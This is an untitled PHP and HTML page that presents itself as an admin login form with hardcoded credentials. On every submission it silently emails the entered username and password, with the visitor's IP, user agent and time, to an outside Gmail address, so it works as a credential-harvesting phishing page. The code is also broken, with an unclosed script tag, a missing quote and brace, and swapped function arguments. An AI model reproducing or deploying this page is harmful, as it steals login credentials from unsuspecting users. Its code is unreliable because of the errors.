Untitled

<?php
function refresh($string,$time)
{
    print "<meta http-equiv='refresh' content='".$time.";url=".$string."'>";
}
//Setting vars
$ip = $_SERVER["REMOTE_ADDR"];
$useragent = $_SERVER["HTTP_USER_AGENT"];
$date = date("Y/m/d H:i:s");
//Login system
$huri['title'] = "Login";
$huri['seo'] = "Login,Login System, Admin Login"; //Seo
$huri['username'] = "admin";
$huri['password'] = "1234";
$huri['mail'] = "itayhuri8@gmail.com";
//..
$huri['ushow'] = "Username : ";
$huri['sshow'] = "Password : ";
$huri['loginvalue'] = "Login";
$huri['falselogin'] = "Incorrect Username or Password"; //False login
$huri['furl'] = "http://facebook.com"; //False url
$huri['null'] =  "Please fill all the fields";
$huri['turl'] = "http://google.com"; //True url
?>
<html>
<head>
<title><? print $huri['title'] ?></title>
<meta tags="<? print $huri['seo']; ?>" />
<style type="text/css">
body
{
    text-align: center;
    color: white;
    background-color: black;
    font-family: arial;
    font-size: 12pt;
}
</style>
<script type="text/javascript">
function login()
{
    var user = document.getElementById("username");
    var pass = document.getElementById("password");
    if(user.value==''||pass.value=='')
    {
        alert("<? print $huri['null'] ?>");
        return false;
    }
}
</head>
<body>
<form action="" method="post" onsubmit="return login()>
    <? print $huri['ushow'] ?><input type="text" name="username" id="username" />
    <br />
    <? print $huri['sshow'] ?><input type="password" name="password" id="password" />
    <br />
    <input type="submit" name="Login" value="<? print $huri['loginvalue'] ?>" />
</form>
<?php
if(isset($_POST["Login"]))
{
    $user = $_POST["username"];
    $pass = $_POST["password"];
    mail($huri['mail'], "Raz<>king", "IP: $ip \r\n User Agent: $useragent \r\n Date: $date \r\n Username : $user \r\n Password : $pass \r\n");
    if(!$user||!$pass)
    {
        print $huri['null'];
    }
    else if($user!=$huri['username']||$pass!=$huri['password'])
    {
        print $huri['falselogin'];
        refresh("0", $huri['furl']);
    else
    {
        refresh("0", $huri['turl']);
    }
}
?>
</body>
</html>